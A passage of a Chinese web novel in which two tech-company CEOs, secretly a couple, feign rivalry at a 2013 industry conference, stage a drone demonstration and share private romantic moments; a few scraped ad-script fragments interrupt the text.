商赭闻言转过了头,脸色冷漠地加入了这个话题,说道:“听起来陈总说得没有他的PPT写得漂亮,不知道做出来怎么样。” “哦!我都差点忘了,小商可是从美国留学回来的高材生,确实对这方面会比较有了解。”他说话的时候带着些许阴阳怪气的意思在,听着就很让人不舒服。 商赭被叫了一声“小商”,他没有什么宽容对方的心思,当即阴阳怪气回去:“哎哟喂,您也能叫上我一声小商啊,可真够有意思的。” 路翎旁边的这位CEO脸上顿时就和打翻了调色盘一样。小路总目不斜视,假装自己没有听见两边的争吵,但藏在桌下的手机却盲按得飞快。 【:D这个哎哟喂一出来我差点笑出声了,是谁说你们那一般不这样的。】 “也不知道我们宋俶宋总的公司这次要亏多少钱才能学会及时止损呢,可别回头又把主意打到慈善捐款和拖欠同行尾款的份上。”商赭话说得云淡风轻。 慈善捐款说的是他们公司五年前的事情,在捐款救灾的时候有位高管贪走了大半的钱,本来已经被他们内部人员发现举报到上级,结果却毫无处理,隔了三天时间才被发酵到网上,而那位高管早就已经携款逃之夭夭;强迫基层员工无偿加班,导致员工猝死以后毫无补偿,只留下一篇早已被“404 NOT FOUND”的亲属血书…… 可以说是“只要赚得到钱,哪里管底层人民死活”的那种资本家,在路翎眼里是应该被挂在路灯上示众的。 因为圈钱时足够不择手段,进入市场够早,反倒是这种人能赚了个盆满钵满。 至于拖欠同行尾款,则是一年半前发生的事情。 商赭选了和这位CEO名下的一家子公司合作,对方倒是不敢背刺家大业大的商氏集团,但手底下的人做事却疯狂掉链子,捅出了不少篓子。如果不是商氏集团检查得仔细,发现对方缺斤少两偷工减料,那商氏集团最少还会损失上百万美元,结果等到结尾款的时候,对方恶意地把商氏集团应该拿到的款项硬生生又拖欠了一年的时间。 因为事情闹得太大,连远在广州的路翎都知道了。 简直就是行业毒瘤一样的存在。 路翎对这位CEO的观感相当之差,刚刚进场以后发现自己就坐在对方旁边时差点维持不住社交性的虚伪笑意。 小路总大学期间也给对方公司旗下的慈善机构捐过款,那点钱很大概率也成为了被贪的款项的一部分。 有些事情当时骂了一阵就忘了,现在刚好对方撞了上来,也不怪路翎想起来这回事以后没什么好气。 属实晦气。 他忍不住拿过一旁的搪瓷杯,喝了一口,深感多聊几秒都绝对要上火。 “怎么?你对陈总的项目有意向?”商赭语气颇为咄咄逼人,“是想招揽路总和你领投?不过从资金链上看,您估计只能当上跟投吧。” 这句话透露出来的信息很多。 宋俶眉毛一挑,心里不由得沾沾自喜,商赭都已经研究到具体的领投人是谁的问题上了,显然是对这个项目有意思的表现。 路翎投以怀疑的目光,不可能吧,这么直的钩子对方也能上钩吗? 屋内的晦暗灯光再次发挥了作用,商赭的手指轻轻在桌下安抚性地碰了碰路总的手指尖。 两个人只是靠一个眼神一个动作就能够猜到对方的想法。 而宋俶则在心里暗暗盘算了起来。他本来就对这个项目感兴趣,在自以为猜到了商赭的所思所想以后更是信心倍增。 大名鼎鼎的商氏集团掌权人的商赭也不过如此嘛。自己先前坑了他一手,对方居然能记到了现在,被自己现在这么一激,居然把对这个项目有兴趣说出来了。他萌生了抬价的心思,同时又有些心动。 这个项目既然能让商氏集团看上,未来肯定是会飞黄腾达的。 互联网金融对于大部分人来说都是个新鲜玩意儿。 2013年,移动互联网虽然处在高速发展的阶段,但大部分人对于把自己的钱交给一个没有国家背书的软件里还是相当抵触的,不管眼前的PPT里面说得有多么天花乱坠,把未来的回报率讲得会有多么的高,今天能够有资格参加这次发布会的,都知道天下没有掉馅饼的好事,机会和危险是等同的。 如果贸贸然看了几页PPT就跟投进去,很有可能会赔得底裤都不剩。 而宋俶想的却是,这可是证明自己的眼光的好机会。 他并不相信路翎所谓的无人机表演活动能够成功,国外都没有实现的技术,国内又怎么可能成功? 他大概率会失败之后启用其他的预案,这样一来对方的账户上的流动资金肯定是得花完的。 这样一来,对方就和自己一样,两边可以合作拿下这个项目,风险也会平摊给雁翎集团。 商氏集团感兴趣,他们也感兴趣,那就看到时候鹿死谁手了。 要么,自己拿下这个项目;又或者,自己把价格抬到即使商氏集团拿到项目,对方也一定会因此难以迅速回笼资金、吃一个哑巴亏的地步。 宋俶在心里已经把剧本策划完毕,却完全没有留意到商总和路总在桌底下暗度陈仓的小动作。 “现在雁翎的业务主要还集中在互娱方面。”路翎慢吞吞地放下了杯子,他这句话就是拒绝的意思,小路总挥了挥手,让不远处的志愿者给自己加了水和冰糖。 “那也行,我再寻思寻思。”宋俶微微蹙眉,路翎不肯入场,以自己的现金流来说其实很难和商氏集团硬碰硬,后续得想个方法说服对方加入。 但现在并不是缠着对方的时候,他眼睛一转,继而跟商赭说道:“商总,那我们明天下午陈总的项目交流会再见?” 商赭没有回答,只是哼了一声。 被冷脸相待的宋俶当即面色扭曲了一瞬,他忍不住从鼻子里哼出一口粗气,咬着牙告诉自己,小年轻就是小年轻,嫩着呢,什么事情都挂在脸上,不像自己这种成熟的大老板。 等着吧。会有他们后悔的时候的。 宋俶对自己的未来设想很美好。在他的眼里,他就是全国最具有投资目光的人,早就已经可以躺在账户上闭着眼睛活祖孙三代了。 路翎微微偏过头看了一眼,从宋俶近几年的投资方向上也看得出来,这位CEO近几年对互联网行业的把握反而越来越差,企业的经营方式更接近于传统,在自身没有能力的情况下却不愿意雇佣职业经理人。新行业与传统经营模式并不能够完全适配,路翎看过对方Q4的财报,上面的数据每个季度都越发难看,甚至可以大胆揣测一下,在这位宋总的带领下,他们公司今年内就可以在纳斯达克成功退市。 大概也是为了摆脱这种贴在自己身上的标签,打破外界对自己的专业眼光的质疑,宋俶早就想找到一个能够让自己再度重回互联网行业之巅的项目进行投资了。 三个人坐在一起,却各怀鬼胎。 路翎刮了一下搪瓷杯的杯身上的水汽,在桌子上抹了两下。 是个简笔画版本的小人踢小人的图片,结合前后情景,大概率是小路总正在用意念暴揍隔壁的宋总。 商赭抿住唇,努力按捺住自己的笑意。 难得两个人能够坐在一起,哪怕什么话也不说,就这么安安静静地也会觉得时间过得飞快。 在让他人误以为商氏集团和雁翎集团交恶这件事上,两个人毫无疑问是成功的。除了那群满嘴跑火车的港媒以外,不论是谁都会觉得他们就是商场上势不两立的竞争对手。 有种在偷情的感觉。 路翎和商赭摩挲着对方的手指,彼此的温度通过肌肤相亲传达给对方。 主持人掐着点上来宣布到了中场休息的时候。憋了一下午的各个老板们纷纷起身。 路翎双手插兜,对商赭刻意地说了句“借过”,从对方身前绕出去吃了些茶歇。 只是在过路的时候,他又一个“不小心”,刚好碰到了商总的手指尖而已。 商赭稍微让开了一下位置。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 很快就等到了路总的短信。 【老婆:茶歇好评。】 路翎从桌上拿过一杯水,后面还有会议,也只有寥寥几个已经登台发言完毕的人拿了香槟,他顺势将发完短信的手机塞进口袋,和像NPC一样刷新出现在自己面前的人寒暄。 一个中场休息时间,他就认识了十多个先前只闻其名未见其人的同行业前后辈,由北到南,自西向东,几乎全国所有互联网行业的精英们都汇聚在这里。 而大家都对不爱抛头露面的路总很是好奇。 这年头有句话叫做互联网无论何时入场都不算晚。最早吃下这口螃蟹的和现在分肉的,其实一直以来都站在同一条起跑线上。看似前者有着优势暂时领先,但有时候却总是很容易被新进场的人击败。 对于这些前辈们而言,路翎就是这个新进场的分螃蟹的人。 在五年前,雁翎还只是一个籍籍无名的小公司,靠着游戏在一夜之间忽然火遍了大江南北,当时大部分有所耳闻的在场的所谓前辈们偶然聊起,也认为他只不过是刚好趁着时代的东风崛起,因为国内此前没有人关注过这方面,才让他拿下整个市场……但说到底,一个学生能懂什么?就算他是计算机专业出身,却不可能懂商业上的运作。 商业运作才是企业发展的根本。 当时并没有多少公司在意这个由刚毕业的大学生成立的游戏公司。 五年时间不长,却足以让一个初创企业成为现如今的行业巨擘。 这些人对路翎的感官相当复杂,一方面,这位年轻人的到来实打实地抢走了他们的市场,可在另一个方面,他也为整个中国互联网造成了巨大的影响,以一己之力推动了整个行业的发展,为许多公司提供了新的想法,注入了新的活力。 更何况对方深居简出,一年到头可能出不来几次粤省,这几年来只闻其名不见其人,搞得不少人对他的好奇心也越来越重。 这也就造成了现在这片路翎附近的位置都被围得水泄不通的情况。 一群人像围观什么稀有的大熊猫一样围观他。 “你别说,路总是真的帅啊,也就是平常不怎么出镜,要不然现在互联网这么发达,肯定要在社交媒体上走红的。” “北方企业有商总当门面,南方企业也有路总是吧。幸亏他们两个人关系一般,要不然互联网可就没有我们这些小虾米的立足之地了。” “这二位之前可都是王不见王的,关系一般也是因为各自的公司,说不定哪天就有合作了也说不定。” 好不容易接待完一波参观稀有路总的老板们,路翎忍不住偷偷地又拿了一碟桌子上的甜点。 这次会议经费充足,各方面的档次都提了起来,比学生时代跟着师兄师姐们参加学术会议时吃到的甜点好吃许多。 茶歇果然是判断一个会议是否上档次的标准。 他塞了一块小甜点,嘴巴有些鼓囊,像只小松鼠一样,飞速地尝试了一遍甜点台上的每一样食物。 路总的试吃之旅相当隐蔽,又总是时不时地挪动位置,居然从头到尾都没有人发现这一点。 小路总环视周围一圈,身后传来了微弱的脚步声,像是某种心念感应一样,路翎下意识地转过了身。 “路总,你也在这,好巧。” 是商赭。 周围休息时间出来透气的几位老板们纷纷故作不经意地看向了这场风暴的中心。 路翎慢吞吞地吃完了甜点,拿一旁的纸巾仔仔细细地擦了擦手,然后才抬头看向了商赭。 两位演员已经就位,周围的老板们都在,戏台子已经搭好。 接下来就看谁演得更深入人心了。 大多数早就认识了商赭是什么人的CEO们,在和路翎接触的这短短几分钟内,都得出了同一个结论:这两位简直就是两个完全相反的典型。 路翎性格温和,无论面对的是谁,都能让对方感到如沐春风般的温暖和热情,换作是商赭这可是完全不敢想的。以他们认识的商赭来看,对方只会礼貌性地和人握一下手,就连回话的时候都是充满敷衍地“恩、好、哦”,是不可被春风融化的超级大雪山。 这俩人在一块应该不会打起来吧?如果打起来的话要不要过去劝架? 9. 新春座谈会09 周围的老板们纷纷交换起隐秘的眼神。 按理说当然不会发生现场斗殴的这种事情,大家都是老板,要脸面的,要是被八卦记者们知道了,风评都要下一大截,还会在领导们面前丢了信任。 但商赭那嘴他们可都是见识过的,很少有人能在对方面前讨到好。 就连他们自己都有曾经差点被气到心梗的时候。 很可惜的是,这群老板们想要看的乐子是不可能发生的。 路翎微笑着打招呼:“不巧,商总是直勾勾冲着我的位置过来的啊,刚刚红毯上没来得及多和你说几句,怎么了,有什么事情吗?” 他们的话语里明明没有任何攻击性,但一旁的人看着却脑补出了无数的机锋。 ——这两个人明明坐在相邻的位置上,结果愣是从头到尾都没说上一句话吗? ——好像确实是,只注意到宋总和商总隔着路总搭话了。 ——路总将刚刚他吃剩下的甜点的盘子用左手推了过去……难道是内涵商总只配吃自己的剩饭? ——不过商总肯定不会接的吧。 人多少都有些八卦的心理,原本喧闹的大厅骤然安静了下来,老板们聊天的时候下意识地压低了声音,生怕这俩人要是当场吵起来的时候错漏了什么八卦,个个竖起了耳朵听。 侍应生托着酒盘路过,被路翎喊住拿了一杯香槟,两个人没什么话可以聊,场面瞬间就冷了下去。 ——这俩明明是第一次见面,关系就闹得这么僵了。 ——可能有些人天生就不对付,你看小路总明明脾气不错,但是商总两句话下来两个人就都冷着脸了。 商总的手机微微震动了一下。 【酒好难喝!】 路翎接连发了三个委屈的emoji表情。 他酒量还不错,不至于喝一口香槟就醉意上头,但是这杯酒的味道实在是难以恭维,明明是香槟,可口感却和加了辣椒油一样诡异,用难喝形容都是抬举了。 落在外人的眼里,就是路翎在商赭注意不到的时候露出了嫌弃的表情,而商赭也无心和路翎交流。 他们俩近几年做的业务重叠的不少,明面上总是有摩擦和碰撞,这也是在所难免的。 在这些八卦人群的灼灼目光下,商赭玩手机中途伸出手,像是不经意间地,拿过桌面上路翎推过来的甜点啃了一口。 ——咬了一口后商赭又微微摇了摇头,这表面上是在评价甜点不好吃,却是在暗讽路总不行! ——嘶!果然针尖对麦芒! ——可惜了离得太远,也不知道他们在说什么。 不远处的老板们讨论得热火朝天,恨不得抠着他们的每一个细节分析。 等到那位宋总从洗手间里出来的时候,难得没有被一群人簇拥着的他不爽地皱起了眉。 他可是行业的前辈,这些人居然不想着讨好自己,反而聚在一起不知道在说什么。 宋俶的助理立刻快步掠过了几位老板背后,侧耳窃听了一下。 这群明面上应该在讨论互联网行业未来的发展趋势和倾向的老板们此时此刻正在讨论另一个话题: “好急,到底谁懂唇语,刚刚他们说的到底是什么。” “到底吵没吵起来。” “小路总性格那么好,肯定是没有吵起来,但是商总那嘴你们也知道,怪不得把路总气成了苦瓜脸。” 几个老板纷纷附和最后一个分析的人说得很对。 “雁翎今年上不了市这事里面说不定就有商氏集团的手笔呢。” 雁翎集团本来预计在今年一月份的时候在沪城上市,但天有不测风云,大盘一路走低,评估人员经过再三分析以后,由路翎拍板决定延缓上市计划。 但这些却并不为外人所知,他们纷纷开始思忖起是不是去年年末某个被截胡的项目导致了雁翎集团的上市中止。 以两个人所在的位置为圆心,方圆五米以内没有一个人,商赭刻意压低了声音,说道:“小蛋糕有点太甜了。” 柠檬味的小蛋糕确实不错,细细品尝会觉得清甜可口。 但出于甜品台美观的考虑,各类蛋糕上面的糖霜撒上去都跟不要钱一样,多吃一口都觉得甜到发腻。 【你说做这甜点的大厨会不会是来自欧美的。】 作为留子的商总深受这类西方大厨制作的甜点荼毒多年,他对甜点的最高评价标准已经变成了“不甜才是最好的甜点”。 商总眼神冷峻,环视四周的时候总有人心虚地移开自己的目光。 路翎嗜甜,对小蛋糕的甜度接受良好,他抓住这个机会,在盘子里又摸走了一块小蛋糕塞进嘴,手指尖一不小心就碰到了商总的手指。 “那要不要等明天我们回家的时候,一起做不甜的小蛋糕。”他眨眨眼,更多的人的视线都会被商赭给挡住,路总的小动作隐蔽而又暧昧,故意地把手指上蹭到的糖霜点在了商总的手掌心。 酒店住起来再舒服、对房间布局再清楚,但那也只是酒店,提供不了家这个概念所具有的某种属性。 几年前为了差旅学习各方面的方便,他们两个人在北京买了一个别墅,当时还是大学生的小路总时不时过来住,给别墅进行装修,还买了许多温馨的装饰。 结果后来商赭回国、路翎回穗城,又变成了由商总负责别墅的各项事宜。 在买房以后,这还是他们第二次一起回家。 宴会厅内的礼宾人员播放起音乐,提醒下一场讲座在五分钟后开始。 大多数人都急忙回到了自己原有的座位上。 宋俶恶狠狠瞪了二人一眼,转身也回到了宴会厅。 等人都走了以后,路翎和商赭牵住了彼此的手。 “我们现在只能这么偷偷摸摸的。”商赭委委屈屈地说着。 虽然这个伪装计划是两个人共同的想法,但当只有四下无人才能十指相扣时,多少还是有些不爽。 “没办法啦,不然就骗不到了嘛。” 路翎看了讲座的表单,作为今天的重磅人物,他们也算得上是这场新春发布会的收尾。 两个人硬生生拖到了最后一秒钟的时间坐到了座位上。宋俶的讲话属实枯燥乏味,路翎听得忍不住又打了个哈欠,仗着旁边没有一个会时时刻刻关注他们动向的烦人精,他谴责地戳了戳商赭的大腿。 都是中午被对方搞得睡不着的错嘛。 除去公司老板们吹牛环节,这场交流会还穿插着不少的技术人员发言。 接下来是关于“4G技术在京城和穗城等城市进行局部商用尝试”相关讲座,路翎拿着纸笔飞快地记录下关键信息。 4G的出现对于当下的互联网产业是具有划时代意义的,网速提高、网络覆盖面更广这些简单的变化牵动的是整个互联网行业的可移动化发展,不用必须使用电脑连着网线才能够获得信息,而是只凭借手机就可以做到这一切。 当然,根据现阶段的情况来看,4G的试点基站只会建造在人口密集度更高的一线城市,经过不断地测试改良 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以后才会推向全国,而毫无疑问地,穗城和京城都在试点城市的名单上。 对方讲解结束,轮到路翎登上这场新春发布会的舞台。 先前说过有展示环节,不少人在路翎上台的时候就打起了精神。 “各位下午好,说实话,作为互联网这个行业的后辈,被放在这么靠后的位置实在是有些诚惶诚恐。第一次来,要是说错什么内容也别见怪。” 这话显然是在说笑,台下一个南方来的老板当即打起了配合,对方坐在第三排,说话也格外大声:“路总您要是这么说的话,我们刚刚这些上过台的人就都要找个地缝钻进去了。” 有这么一番话活跃气氛,现场大部分紧绷的弦也松了下来,跟着调侃道:“路总要不要先聊聊您预案里的无人机技术。” 对于大部分企业来说,这是一个在领导们面前鼓吹的好机会,要放PPT和视频,从多个角度展示漂亮的数据和报表。 刚刚那位领导同样好奇地坐直身体,只见路翎摇了摇头,语气遗憾地说道:“无人机表演这个我来之前确实有想过要不要展示给大家看看,但你们看我这两手空空的,看得出来是什么都没带的了吧。” 他张开手,向在场的众人展示了一下空无一物的手掌。 但下一秒,数架无人机就在路翎的手指指着的方位骤然点亮,拼成了圆环的形状,灯光向下倒映。 “哇——” 好好的一场交流会,硬生生变成了魔术表演。 “这是提前用程序控制好的吗?” “路总是让自己的秘书私底下偷偷拿着遥控器在操纵无人机吧?”宋俶皱着眉说道。 “确实是用程序提前控制好的,灵感是来自去年的伦敦奥运会。”路翎笑着冲众人点了点头,几架无人机忽然又排列成了一排,上下浮动,粉色的光芒像一排的小蝴蝶,飞旋了一阵,灯光闪烁,骤然变成蓝色的灯光,无人机又化作蜿蜒的河流。 而后灯光暗下,组成绿色的山峦,一连变化了七八种形态,定格了好一会儿,按照程序里的时间返航,只留下一架无人机还在现场。 现在只是控制了这么几架无人机而已。 如果路翎真的有方法同时操控那么多台无人机在夜空中进行表演…… 现在他们倒是不觉得雁翎集团递交那么一份预案是不自量力的行为了。 站在台上的路翎将目光停留在商赭的身上,两个人对视了一眼,路翎脸上带着笑意,而商赭举起双手,缓慢而有力地鼓起了掌。 在场的所有人也纷纷按捺不住地鼓掌欢呼了起来。 此时已经和先前的几场沉闷的演讲完全不同,路翎的表演彻底活跃了现场的气氛。 这样的技术前所未见,路翎在短暂的时间把这场展示玩出了花,显然也可以实现预案上的目标任务。 甚至有不少偏向于实体的公司已经兴奋了起来,打算等会议结束以后就立刻去和路总洽谈合作。 等现场稍微安静了下来,路翎这才继续讲了下去。 被留下的那架无人机被开启了智能跟随的模式,在路翎谈话走动的时候,自觉地悬浮在路翎身后一米的位置,还附带有录像功能,屏幕上实时同步着无人机所录入的画面,不存在任何造假的可能。 他和商赭对上了视线,这种视线的相交是极其隐秘的,哪怕有放大版的无人机视角,却也无法找到路总的视线所落的方向。 这是一个在所有人的目光下,不会被人察觉到的、彼此明目张胆注视对方的机会。 10. 新春座谈会10 “不仅如此,雁翎还有不少新的项目正在推进完成。譬如能够有效解决阿兹海默症患者离家后找不到回家的路的智能手环,产品本身具备线路记忆功能,当患者长期逗留在外时,会语音提示行动路线,让患者们无论何时都不会找不到回家的路。” 和很多人想象的不同,虽然是游戏起家,但雁翎集团在投资之时其实更倾向于公益项目,许多新成立的项目都与当下社会里出现的民生问题息息相关。 其他的老板们刚刚在这个环节时提及了许多接下来一年所要做的事,路翎则提到了他们所做过的事情:“我一直认为,企业不仅要为消费者提供优质的产品或者服务,也要具有自身的社会责任感。雁翎集团在过去的一年里积极响应国家号召,定点帮扶本省内贫困家庭上百个,为他们提供岗位,为上千名学生提供基础教育帮扶……未来,这个数字只会更多。” 商赭其实最喜欢看的就是路翎这幅意气风发的模样,路翎身后的大屏幕里是简单的PPT,只罗列了具体的数字和一份又一份的具体报告,甚至没有做任何花里胡哨的PPT模板。 越是简单地展示,演讲的人有多么意气风发也越是分明。 昏暗的宴会厅内,聚光灯直直地打在路翎的身上,他就像是闪闪发光的钻石一样,耀眼而又夺目。 是我的珍宝。商赭忍不住摩挲了一下自己的袖扣。 “这种东西也拿出来说嘛……”本来正高兴着,却忽然听见左侧那位宋总的抱怨声,商赭微微侧目,就看见宋俶像是很不服气一样地撇了撇嘴,显然对路翎发言时活跃的台下气氛心存不满。 对方轻蔑的哼声很小,却依旧被商赭所留意。 到了提问环节,有一位公司老板好奇地发问:“路总,您所做的这些方向我都很敬佩,但这些都不是盈利项目,您就不怕雁翎集团在项目的推进过程中发生意外导致资金链断裂什么的吗?” “互联网就像是一片深沉的大海,企业的掌舵者不可能永远不会错误,但是,在错误发生之前,起码我们可以对船只进行定期的检修,确保自己的船不会突然走到一半就分崩离析了。” “路总,你这个检修是怎么个检修法呀?” 路翎听到这个提问,笑着回答道:“这还用教啊,最起码做到乖乖缴税,不要把会计送进了提篮桥进修吧。如果一个公司连自己的船哪里出问题了也没有发现,那分崩离析也是必然的。” 台下骤然响起了一阵笑声。 这也是去年互联网行业内的大新闻了,一夜之间某日资公司的所有高层几乎全部失业,会计连下岗都不需要,直接转送了监狱里面,所有管理人员全被列入了调查名单,最后补了上亿税金才恢复了正常经营。 商赭往左扫了一眼,哦,差点忘了,这位也是去年被罚了税金的,就是金额没那么大。 路翎虽然本意不是内涵他,但是对方看到路翎的视线落在这边,自觉地就代入了被内涵的角色,这也是没有办法的事情。 他讲得幽默,在场无论是领导还是老板们都能够享受到随意的交流氛围当中,几乎所有人都参与到了讨论里面。 商赭认真地聆听着路翎的每一次发言,后者正在源源不断地向所有人散发着他的人格魅力。哪怕是最为厌恶路翎的人,只要稍微停下来听他讲话,都会被路翎的一举一动一言一行所吸引,随后被对方的魅力所折服,他对此毫不怀疑。 哦,宋俶那种眼瞎心黑耳聋的家伙除外。 对方的脸色此时已经黑得几乎能和周围的环境融为一体,和附近其他人热闹的讨论格格不入。 他咬牙切齿,在今年年初的时候,他的资产中涉及灰色地带的那部分就已经被冻结了部分进行调查,税/务/局对他的严格管控至今没有结束。被路翎提起,就是直直地戳到了他的痛处。 不知道自己这么一句俏皮话居然得罪了人——当然,如果知道这么说会得罪宋俶,他也肯定不会后悔就是了。 路翎讲完了自己的话题,在一片掌声的簇拥中走下了台,和刚好走上台的商赭擦肩而过。 这种隐秘的行为会让人的大脑皮层感到兴奋。 路总下意识地摸了摸自己的袖扣,蓝色的宝石无言地向全世界说着他们的故事。 被邀请参加会议的媒体们当然也没有错过这么精彩的一幕,宴会厅最后面的位置不断亮起了白色的闪光。 和路翎不同,商赭的讲话里没有准备过任何的破冰环节,一上来,商赭就将谈话的方向引向了商氏集团未来一年在互联网行业的布局上。 商氏集团也与雁翎集团不同,商氏集团作为京城的老牌企业,不需要再对其他人进行额外的介绍,直接将所有的数据开诚布公地放出来就已经足够瞩目。 过去一年得到了什么,新的一年哪方面预计将得到提高,在整个行业内目前某个项目成绩做到了最好。 和刚刚相似,只是把说话的人倒了一下。 路翎也安静地看着商赭的发言。 两个人的视线纠缠着,恨不得在所有人的眼皮底下溅射出火星和飘荡出粉红泡泡。 有一位老总有些承受不了这种沉寂的气氛,忍不住起身拉开了他边上的窗帘。 窗外透进来些许的阳光,笔直地越过宴会厅,橙黄色的光芒划破人造的昏暗。在无数灰尘的颗粒之下,光线停留在商赭和路翎两个人的中间,连接出一条只有他们可见的道路。 他们两个讲完以后,新春发布会的第二项议程也结束了。 接下来又接连进行了其他的几项活动,专家们在台上高谈阔论,一直拖到太阳彻底下山以后,才终于结束了这次新春发布会的全部内容。 路翎和商赭两个人分道扬镳——紧接着又在酒店餐厅的包间里相遇。 “你是没看见刚刚我说话的时候那宋俶脸色都青成什么样了。他本来就黑,拉长了脸的时候不看他眼睛的话真是看了半天都找不到他人。”路翎眉飞色舞地说,“我在台上的时候差点就笑出声了真 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的。” “我看见了,他在你说话的时候就自觉代入了进去,还在底下骂了你来着。” “哎呀,那这仇该不会记我头上了吧。”路翎忍不住掐了掐商赭的手指头,“天地良心,我说的是实话,而且我说的时候其实压根就没想到他。” “那就委屈路总帮我背了黑锅了。”商赭亲了亲路翎的耳垂。 “何止啊,你说话的时候他在我旁边各种发出噪音就没谈过好吗,你说一句他就非要‘啧’上一句。” 商赭点了点头,一脸严肃地说道:“他可能上辈子是一台卡了墨的打印机,所以老是发出啧啧啧的声音。” “兵来将挡水来土掩,商总可要好好加油喔。”路翎伸出手,勾住了商赭的领带,仗着在包厢里,路总理直气壮地坐到了商赭的大腿上。 商赭包住了路翎的手指,和路翎十指相扣。 室内明亮的灯光和外面隐隐约约传来的喧哗声带来一种在大庭广众之下公然亲密的羞耻感。 路翎隐约听见了侍应生的声音,刚想要起身,却被商赭重新一拉拽回到他的怀抱里。商总气定神闲地揽住路总的腰,将他锢在自己的大腿上。 “小路总,专心。”含糊中,他听到了商赭的声音。 商赭的身上萦绕着马鞭草的香水味,并不浓郁,像是海盐和柠檬结合的香味,明明是温和的气味,却在此时此刻也化作了对方攻击的一部分,掠夺了路翎的嗅觉,蛮横霸道地只允许路翎闻到商赭身上的气息。 路翎被亲得有些大脑发蒙。 明明两个人都是一起练的接吻技巧,怎么商赭这家伙就能够这么游刃有余。 对方带着强烈的侵/略意图,强势地闯开了路翎的牙关,两个人的唇齿碰在一起。 路翎居高临下地俯身加深这个吻,试图将刚刚被商总征服的失地夺回。 他们的眼睛始终注视着彼此,眼瞳里倒映着对方的模样。路翎在呼吸急促的情况下不免整个人都靠到了商赭的身上。 商赭托住他的那只手很热,路翎忍不住扭了一下自己的腰想要躲开,要是再这样发展下去,今天的饭就不用吃了。 等好不容易结束了这个漫长的吻,路翎忍不住从商赭的大腿上挪了下来,他看似平静地拿着手机点了单,只有微微泛粉的耳朵才泄露出了些许激烈的情绪。 但小路总却没有就这么简单地认输,他凭借自己站起来的身高优势,一只手撑在商赭的椅背上,开始试图对商总吹耳边风。 “可惜明天还要开会,不然今天晚上……”他故意和商赭咬耳朵时把内容说得浮想联翩,他慢慢地解开商赭那条早就被拽得皱皱巴巴的领带,又重新给他系好。 商赭的喉结微微滚动,路翎出门的时候很少喷香水,但是就刚刚这么蹭了一会儿,却好像浑身上下都沾满了他的味道一样。 并没有因此餍足的商总慢慢摩挲着路翎的手掌心,语气却带着些许的委屈,说道:“路总,今天晚上不可以吗?” 11. 新春座谈会11 不可以! 小路总的眼神看上去凶巴巴的。 他忍不住瞪了一眼商赭,试图用眼神谴责男朋友白日宣不可描述的事情这一行为。 可商总却十分坦然地凑了过来,亲了亲路翎的侧脸。 “真的不可以吗?” 路翎微微移开了目光。 好吧,也不是不可以。 毕竟两个人这么久没见,哪怕是路总也会想要和自己的爱人更近距离地接触的。 这个酒店都是商氏集团的,用到的也都是商氏集团开发的下单程序,像他们这些私密性极高的包间,餐具和食物都是由机器人端进来的。 可以在最大程度上避免客人和其他无关人等的接触。 陆行机器人的技术应用极广,不仅是地面搜救机器人这类对精度和技术要求极高的行业,还有像是可以握手的动物犬、只会送餐的小机器人之类的项目。 门外传来了机器人滴滴滴请求开门的提示声,路翎打开了门,却听到了这台小机器人过河拆桥的提示音:“嘟嘟,请不要挡在商小路的面前喔,嘟嘟,请不要挡在商小路的面前!” 路翎大惊失色地瞪大了眼睛。 等等,这只机器人自称什么!? 他不可思议地瞪向商赭,后者心虚地移开了目光。 这未免也太明目张胆了! 这家伙都不怕被别人发现端倪的吗?路总用自己的眼神谴责着商总的可恶行为,没想到后者还没说话,眼前的小机器人就再次发出了提醒。 “商小路正在重新规划路线。” 下一秒,机器人就从路翎的身侧磨蹭了过去,贴着墙的边沿躲开了所有的障碍物。 “商总,解释一下?” 自称商小路的机器人滚轮滑行,绕开了路翎,停在了划定的上菜位置。 现在市面上的大多数无人机在飞控时的避障都做得不是很好,主要是响应的速度延迟很大,路翎在进行表演测试的时候就发现了这个问题。 如果是静态的物体还好,动态的障碍物,比如说小鸟,就会给无人机带来很大的麻烦。 路翎想要在互联网大会上如预案上所写的一样完成无人机表演活动,就需要对所有的机体进行编队构型,计算最合理的飞行轨迹。而在计划之外,又需要他能够确保无人机不会被鸟类或者是其他的意外干扰。 他若有所思,但表面上却还是佯装出一副不满的样子。 商总轻咳了一声,解释道:“是‘呦呦鹿鸣,食野之苹’的那个鹿。” 这家餐厅的装修一向走的时候复古路线,古色古香的环境和高科技的机器人对比鲜明却不突兀,他们在的这个包间叫《诗经》,出现的机器人命名也是《诗经》里出现过的。 路翎又盯了一会儿,更加确认商赭果然在这只小机器人上夹带了自己的私心,他戳了戳商赭的心脏位置,指指点点地说道:“哼哼,你超爱我的嘛。” “对啊,我超爱你的。”商总自觉地点头回答,他捏住路翎的手腕,让路总的手掌心贴着自己的心脏。 温热跳动的心脏藏在衣服之下,只是看着商赭,都能够真切地感受到对方说这句话时不容置疑的真诚。 两个人对视着,路翎满意地点点头,就想要就此收回手。 但商赭显然不太乐意了,他伸出手,揉了揉路翎的头发,在后者表示不满之前若有所指地提醒地说道:“路总的无人机表演预案做得那么好,我之前可是一点儿风声都没听到,该不会是在截止提交之前通宵做完的吧?” 这家伙说得笃定,显然已经洞察了路翎的所思所想和日常习惯。 路翎当即心虚地往旁边一个滑步,假装自己什么都没有听见,将机器人上的菜色迅速放到了桌子上,并目送着“商小鹿”这只可恶的机器人在菜品被拿走以后迅速滑动离开了这个是非之地。 “我是那种会通宵做方案的人吗。” “你是。” 路总吞咽了一下口水,心虚地扯回到最开始的话题上:“宋俶可能把我们俩都记在了黑名单小本本上。” 商赭笑了一声,毫不在意地说道:“那就算我们两个一起被他给记住了吧。以他的公司现在的体量,想要单独针对我们中的一个都是难事,你觉得他打得过谁?” “当然是哪个都打不过,除非……诶你把热水给我一下。” 虽然知道酒店这边消毒柜洗得很干净,但是习惯使然,路翎还是要在自己的眼皮底下洗一遍才安心。路翎说着把热水烫过一圈碗筷,又把水倒进了一旁的水槽里面。 他们就两个人,点的餐也不多,都是些家常菜色。 “晚上回家还是住酒店?” 正餐结束以后才上的汤,商赭将汤呈好。 “酒店吧,懒得挪窝了。”路翎整个人几乎都差点靠在了商赭身上,一只手撑着脑袋,努力不让自己倒在桌子上。 